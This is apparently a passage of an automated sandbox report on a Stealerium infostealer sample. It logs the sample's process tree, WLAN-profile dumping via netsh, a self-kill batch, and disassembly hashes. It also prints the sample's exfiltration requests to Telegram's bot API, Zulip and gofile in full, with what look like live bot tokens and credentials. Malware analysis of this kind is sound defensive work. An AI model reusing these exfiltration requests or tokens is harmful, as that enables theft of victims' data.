2024-11-29 11:18:52 UTC	888	IN	HTTP/1.1 200 OK Server: nginx/1.27.2 Date: Fri, 29 Nov 2024 11:18:52 GMT Content-Type: application/json Content-Length: 439 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range {"data":{"createTime":1732879132,"downloadPage":"https://gofile.io/d/qxyGTh","guestToken":"ey6uqHgWr0VdqX5Y8EaLpMBS2h1Wue5G","id":"b94fe560-5bbe-4d51-acdf-652d471dd87e","md5":"3d9952ca2b820a3282ca6c7b048cce19","mimetype":"application/zip","modTime":1732879132,"name":"user@124406_en-CH.zip","parentFolder":"d87cb92e-bd72-47ff-a6b2-6eb786b8fe16","parentFolderCode":"qxyGTh","servers":["store5"],"size":153370,"type":"file"},"status":"ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.12	49731	149.154.167.220	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:55 UTC	2089	OUT	GET /bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage?chat_id=-4549067482&text=%60%60%60%0A%F0%9F%98%B9%20%2AStealerium%20v3.5.1%20-%20Report%3A%2A%0ADate%3A%202024-11-29%206%3A18%3A31%20am%0ASystem%3A%20Microsoft%20Windows%2010%20Pro%20%2864%20Bit%29%0AUsername%3A%20user%0ACompName%3A%20124406%0ALanguage%3A%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus%3A%20Windows%20Defender%0A%0A%F0%9F%92%BB%20%2AHardware%3A%2A%0ACPU%3A%20Intel%28R%29%20Core%28TM%292%20CPU%206600%20%40%202.40%20GHz%0AGPU%3A%20NVR6G%0ARAM%3A%204095MB%0APower%3A%20NoSystemBattery%20%28100%25%29%0AScreen%3A%201280x1024%0AWebcams%20count%3A%200%0A%0A%F0%9F%93%A1%20%2ANetwork%3A%2A%20%0AGateway%20IP%3A%20192.168.2.1%0AInternal%20IP%3A%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system%21%0AExternal%20IP%3A%208.46.123.228%0A%0A%F0%9F%92%B8%20%2ADomains%20info%3A%2A%0A%20%20%20-%20%F0%9F%8F%A6%20%2ABanking%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%92%B0%20%2ACryptocurrency%20services%2A%20%28No%2 [TRUNCATED] Host: api.telegram.org Connection: Keep-Alive
2024-11-29 11:18:56 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 29 Nov 2024 11:18:56 GMT Content-Type: application/json Content-Length: 1668 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-29 11:18:56 UTC	1668	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 39 32 37 33 36 34 31 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 5c 75 30 31 62 30 75 20 56 69 61 20 46 61 63 65 62 6f 6f 6b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 75 75 76 69 61 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 34 39 30 36 37 34 38 32 2c 22 74 69 74 6c 65 22 3a 22 33 42 2c 20 4c 5c 75 30 31 62 30 75 20 56 69 61 20 46 61 63 65 62 6f 6f 6b 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 Data Ascii: {"ok":true,"result":{"message_id":79,"from":{"id":7392736411,"is_bot":true,"first_name":"L\u01b0u Via Facebook","username":"Luuvia_bot"},"chat":{"id":-4549067482,"title":"3B, L\u01b0u Via Facebook","type":"group","all_members_are_administrators":true},"da

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.12	49732	44.208.10.127	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:59 UTC	278	OUT	POST /api/v1/messages HTTP/1.1 Authorization: Basic c3p1cnVib29ydUBnbWFpbC5jb206Zmd3VDV1bWJyUWRXNlkxYnVJV1pKSzZTMkZWUVpBZVM= Content-Type: application/x-www-form-urlencoded Host: szurubooru.zulipchat.com Content-Length: 1650 Expect: 100-continue Connection: Keep-Alive
2024-11-29 11:18:59 UTC	25	IN	HTTP/1.1 100 Continue
2024-11-29 11:18:59 UTC	1650	OUT	Data Raw: 74 79 70 65 3d 73 74 72 65 61 6d 26 74 6f 3d 53 7a 75 72 75 62 6f 6f 72 75 26 74 6f 70 69 63 3d 61 6c 62 75 73 26 63 6f 6e 74 65 6e 74 3d 25 36 30 25 36 30 25 36 30 25 30 41 25 46 30 25 39 46 25 39 38 25 42 39 2b 25 32 41 53 74 65 61 6c 65 72 69 75 6d 2b 76 33 2e 35 2e 31 2b 2d 2b 52 65 70 6f 72 74 25 33 41 25 32 41 25 30 41 44 61 74 65 25 33 41 2b 32 30 32 34 2d 31 31 2d 32 39 2b 36 25 33 41 31 38 25 33 41 33 31 2b 61 6d 25 30 41 53 79 73 74 65 6d 25 33 41 2b 4d 69 63 72 6f 73 6f 66 74 2b 57 69 6e 64 6f 77 73 2b 31 30 2b 50 72 6f 2b 25 32 38 36 34 2b 42 69 74 25 32 39 25 30 41 55 73 65 72 6e 61 6d 65 25 33 41 2b 61 6c 62 75 73 25 30 41 43 6f 6d 70 4e 61 6d 65 25 33 41 2b 31 32 34 34 30 36 25 30 41 4c 61 6e 67 75 61 67 65 25 33 41 2b 25 46 30 25 39 46 25 Data Ascii: type=stream&to=Szurubooru&topic=user&content=%60%60%60%0A%F0%9F%98%B9+%2AStealerium+v3.5.1+-+Report%3A%2A%0ADate%3A+2024-11-29+6%3A18%3A31+am%0ASystem%3A+Microsoft+Windows+10+Pro+%2864+Bit%29%0AUsername%3A+user%0ACompName%3A+124406%0ALanguage%3A+%F0%9F%
2024-11-29 11:18:59 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 11:18:59 GMT Content-Type: application/json Content-Length: 81 Connection: close Server: nginx/1.18.0 (Ubuntu) Vary: Accept-Encoding Expires: Fri, 29 Nov 2024 11:18:59 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private Vary: Accept-Language Content-Language: en X-RateLimit-Limit: 200 X-RateLimit-Remaining: 197 X-RateLimit-Reset: 1732879199 Strict-Transport-Security: max-age=15768000 X-Frame-Options: DENY X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Authorization Access-Control-Allow-Methods: GET, POST, DELETE, PUT, PATCH, HEAD {"result":"success","msg":"","id":485077238,"automatic_new_visibility_policy":3}

Target ID:	0
Start time:	06:18:30
Start date:	29/11/2024
Path:	C:\Users\user\Desktop\yv7QsAR49V.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\yv7QsAR49V.exe"
Imagebase:	0x24a436a0000
File size:	3'746'816 bytes
MD5 hash:	03A0E76A8C671D5D10CAF9B73F17C2BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000002.2615455822.0000024A458D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000002.2615455822.0000024A45ABE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000002.2615455822.0000024A45C6B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:18:41
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x7ff64f010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:18:41
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6ec5c0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff686130000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6be780000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr All
Imagebase:	0x7ff738d70000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x7ff64f010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6ec5c0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x7ff686130000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:18:59
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\4d347f08-badb-4aa2-85cc-e67036e9d72f.bat"
Imagebase:	0x7ff64f010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:18:59
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:18:59
Start date:	29/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6ec5c0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:18:59
Start date:	29/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /PID 7052
Imagebase:	0x7ff7e4360000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:19:00
Start date:	29/11/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /T 2 /NOBREAK
Imagebase:	0x7ff6d2960000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFE166509EF Relevance: 20.6, Strings: 16, Instructions: 557COMMON

Download Yara Rule

Strings

bpU, xrefs: 00007FFE16650E95
9pUJ, xrefs: 00007FFE16650E19
bpU, xrefs: 00007FFE16650B2B
bpU, xrefs: 00007FFE16650C11
bpU, xrefs: 00007FFE16650EC3
bpU, xrefs: 00007FFE16650E0B
bpU, xrefs: 00007FFE16650C6D
bpU, xrefs: 00007FFE16650A03
bpU, xrefs: 00007FFE16650E67
bpU, xrefs: 00007FFE16650B59
bpU, xrefs: 00007FFE16650BB5
bpU, xrefs: 00007FFE16650D25
bpU, xrefs: 00007FFE16650D81
bpU, xrefs: 00007FFE16650DAF
bpU, xrefs: 00007FFE16650DDD
8pUJ, xrefs: 00007FFE16650AEA

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: 8pUJ$9pUJ$bpU$bpU$bpU$bpU$bpU$bpU$bpU$bpU$bpU$bpU$bpU$bpU$bpU$bpU
API String ID: 0-3782119798
Opcode ID: ba6b5e95c1541050f0294f9686d9875cdf9f56a103627aed4c8f2e5c9f53dfa6
Instruction ID: 79668a7ef00eca2c7a2330f6cf91d300d9247eb8085a05191333cd1fb3076d16
Opcode Fuzzy Hash: ba6b5e95c1541050f0294f9686d9875cdf9f56a103627aed4c8f2e5c9f53dfa6
Instruction Fuzzy Hash: FB22166085EAC56FC31B97B808BA4A9BFE09E4B26475D4DEEC4C54F9B3C00D6847D706

Function 00007FFE1665AC78 Relevance: 10.4, Strings: 8, Instructions: 422COMMON

Download Yara Rule

Strings

]pU, xrefs: 00007FFE1665B0B3
]pU, xrefs: 00007FFE1665B14D
@]pU, xrefs: 00007FFE1665B12A
H^pU, xrefs: 00007FFE1665B1CD
]pU, xrefs: 00007FFE1665B068
8]pU, xrefs: 00007FFE1665B090
=, xrefs: 00007FFE1665B0D2
]pUJ, xrefs: 00007FFE1665B0F7

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: ]pU$ ]pU$ ]pU$8]pU$=$@]pU$H^pU$]pUJ
API String ID: 0-755140064
Opcode ID: c54ef8f6ddb59e4af6aa50bf6e1a073b1cfb23d703cdfef5cd5b26ab9a91aa76
Instruction ID: 2ced0dd2bd9be3fc73eeedb74da9045d899c32c6e66661cab3f0d169b1d394d5
Opcode Fuzzy Hash: c54ef8f6ddb59e4af6aa50bf6e1a073b1cfb23d703cdfef5cd5b26ab9a91aa76
Instruction Fuzzy Hash: 3FE1397050DACA8FD785DF78C4656F9BBE1FF46364F5805EDC4598B2B2CA28A806CB40

Function 00007FFE16650A17 Relevance: 10.3, Strings: 8, Instructions: 312COMMON

Download Yara Rule

Strings

bpU, xrefs: 00007FFE16650B59
bpU, xrefs: 00007FFE16650BB5
bpU, xrefs: 00007FFE16650B2B
bpU, xrefs: 00007FFE16650C11
bpU, xrefs: 00007FFE16650C6D
4L_H, xrefs: 00007FFE16650A40
bpU, xrefs: 00007FFE16650A45
8pUJ, xrefs: 00007FFE16650AEA

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: 4L_H$8pUJ$bpU$bpU$bpU$bpU$bpU$bpU
API String ID: 0-1454767045
Opcode ID: b9d1f84954cc6ae80daa7ffc62008a112729f5990eb134c357dd26783a866745
Instruction ID: 2d1790b957b695b5eac06c850777db1b3726b20c571b52033b89ad6783ba19f8
Opcode Fuzzy Hash: b9d1f84954cc6ae80daa7ffc62008a112729f5990eb134c357dd26783a866745
Instruction Fuzzy Hash: 1DC1186085EAC56FC31B97B408BA4A9BFE09E8726475D4DEEC4C64F8B3C00D6857D706

Function 00007FFE16650F83 Relevance: 9.1, Strings: 7, Instructions: 363COMMON

Download Yara Rule

Strings

(:pU, xrefs: 00007FFE16651230
8:pU, xrefs: 00007FFE16651214
(:pU, xrefs: 00007FFE166511DC
Ut, xrefs: 00007FFE1665124C
(:pU, xrefs: 00007FFE16651188
H:pU, xrefs: 00007FFE1665129A
P]pU, xrefs: 00007FFE166512D7

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: (:pU$(:pU$(:pU$8:pU$H:pU$P]pU$Ut
API String ID: 0-128796484
Opcode ID: 980e8a2d1fef22a3a3140078b74e0f8e5975cd57930058e4835bc147244797ac
Instruction ID: 399571f4d2715dcec1017406f387ddcd8d05b4d7612dfba2974e8a255ecf4e7b
Opcode Fuzzy Hash: 980e8a2d1fef22a3a3140078b74e0f8e5975cd57930058e4835bc147244797ac
Instruction Fuzzy Hash: ADC1246194D9C95FE31297B818661EDBFE0DF87260B480AEAD4C98F4B3CC0C6857C782

Function 00007FFE16653B03 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

8apU, xrefs: 00007FFE16653B68
w, xrefs: 00007FFE16653B2A
(apU, xrefs: 00007FFE16653B30
0apU, xrefs: 00007FFE16653B4C

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: (apU$0apU$8apU$w
API String ID: 0-4261079665
Opcode ID: d3aa8eff18034c82eae9a4d9a7eeef9ed1ff27dc3c8e5ef12588e6e96fb3e7ac
Instruction ID: f4abdc1a743f9be343c49f22acab37e022c5f7bad1ebc39216b015a2d34aea44
Opcode Fuzzy Hash: d3aa8eff18034c82eae9a4d9a7eeef9ed1ff27dc3c8e5ef12588e6e96fb3e7ac
Instruction Fuzzy Hash: 6801B12156A9C44FDB82A77888652F8BBE0EF96221F8005E6C08DCB4B3CD252947DB40

Function 00007FFE16653ACC Relevance: 5.0, Strings: 4, Instructions: 44COMMON

Download Yara Rule

Strings

8apU, xrefs: 00007FFE16653B68
w, xrefs: 00007FFE16653B2A
(apU, xrefs: 00007FFE16653B30
0apU, xrefs: 00007FFE16653B4C

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: (apU$0apU$8apU$w
API String ID: 0-4261079665
Opcode ID: a1c808be34fb9fb31dabac0a48a850638c407c6ecfab64ebc44d91ff978a113e
Instruction ID: 535c3db0c2480e420de215e03e43ffc0552e8da9db236efde8432769bc73a402
Opcode Fuzzy Hash: a1c808be34fb9fb31dabac0a48a850638c407c6ecfab64ebc44d91ff978a113e
Instruction Fuzzy Hash: F101D1514AE9C15FCB42A37848610F8BFE0EF9711178508FAC0898B8F3C819291BD741

Function 00007FFE1665AD3C Relevance: 4.0, Strings: 3, Instructions: 204COMMON

Download Yara Rule

Strings

K<L_^, xrefs: 00007FFE1665AE5E
H^pU, xrefs: 00007FFE1665AD8A
(]pU, xrefs: 00007FFE1665AE3C

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: (]pU$H^pU$K<L_^
API String ID: 0-4175753391
Opcode ID: 1774d9802cdbd2cf1abfa889d1fe16ccf5f0a23717b9a339bf71c54ab4160d13
Instruction ID: f367a40852b99e8b80ed20e69bd6a31d7afcfc7db975fb291471b0dd54611483
Opcode Fuzzy Hash: 1774d9802cdbd2cf1abfa889d1fe16ccf5f0a23717b9a339bf71c54ab4160d13
Instruction Fuzzy Hash: C071F4B080DAC64FDB45AB7584565FDBFE1AF86364F4805F9D4898B1A3C92CA402CB41

Function 00007FFE16653F3F Relevance: 2.5, Strings: 2, Instructions: 48COMMON

Download Yara Rule

Strings

Sk, xrefs: 00007FFE16653F49
H, xrefs: 00007FFE16653FB5

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: H$Sk
API String ID: 0-525366918
Opcode ID: 0f368628b9294c7c9614fe9238c7c815b65e8d48a8be1418b714b7fda5b45295
Instruction ID: 2858bba7072cc7992d4e53ce5367361e623f05767360f2aa282a75ccfc9c3d96
Opcode Fuzzy Hash: 0f368628b9294c7c9614fe9238c7c815b65e8d48a8be1418b714b7fda5b45295
Instruction Fuzzy Hash: 42015E31A18A888FD795EBBC845967C77D2EF99301F5544B9D409C72A2DD289C428B01

Function 00007FFE16659FFD Relevance: 2.5, Strings: 2, Instructions: 36COMMON

Download Yara Rule

Strings

(LQt, xrefs: 00007FFE1665A050
lO_H, xrefs: 00007FFE1665A004

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: (LQt$lO_H
API String ID: 0-3478179288
Opcode ID: 75271698b7faa58f27ca097c2ddc1a6ff3261cbf1ca913a44671633bf1d893a6
Instruction ID: 7acb342b4ce14337ff5d35d00a50a059360b9be5802cfc02521e2c2bd3a166be
Opcode Fuzzy Hash: 75271698b7faa58f27ca097c2ddc1a6ff3261cbf1ca913a44671633bf1d893a6
Instruction Fuzzy Hash: C2F0A4B0A148499FDB80EB5CD489EAC7BE1FFA8355F5500A5F409D7361CA24EC818B00

Function 00007FFE16653AF0 Relevance: 2.5, Strings: 2, Instructions: 30COMMON

Download Yara Rule

Strings

8apU, xrefs: 00007FFE16653B68
0apU, xrefs: 00007FFE16653B4C

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: 0apU$8apU
API String ID: 0-413604134
Opcode ID: 4dbadc38879bb2f90ceb0c1fdd76c60e304d4f609c88f58c0675ee51bdcb69b6
Instruction ID: 02e37c334a93baea82b204baef25dfa25694cd203fe111b370c88697868df4c3
Opcode Fuzzy Hash: 4dbadc38879bb2f90ceb0c1fdd76c60e304d4f609c88f58c0675ee51bdcb69b6
Instruction Fuzzy Hash: 8CF0E5514AEAC04FDF42677840610FC7FE0EF9712178508F6C089CB4F3D819251B9741

Function 00007FFE16652B80 Relevance: 2.5, Strings: 2, Instructions: 20COMMON

Download Yara Rule

Strings

r6Kt, xrefs: 00007FFE16652BC3
w, xrefs: 00007FFE16652BA1

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: r6Kt$w
API String ID: 0-3966057899
Opcode ID: e1b297c67a1bffd906da3ca12304a7cbf074162fc439aa5cd28ad6277e3d16ca
Instruction ID: 874e8d98e1e431b3adb027701fe66c3b860c72b8d58522a2cae295c729b621fe
Opcode Fuzzy Hash: e1b297c67a1bffd906da3ca12304a7cbf074162fc439aa5cd28ad6277e3d16ca
Instruction Fuzzy Hash: 62E075709249198ADB98EB6988997E9B3A1FF88740F9040E5A11DE32A1CE386D818F01

Function 00007FFE166509C1 Relevance: 2.5, Strings: 2, Instructions: 16COMMON

Download Yara Rule

Strings

bpU, xrefs: 00007FFE166509D4
Ut, xrefs: 00007FFE166509E7

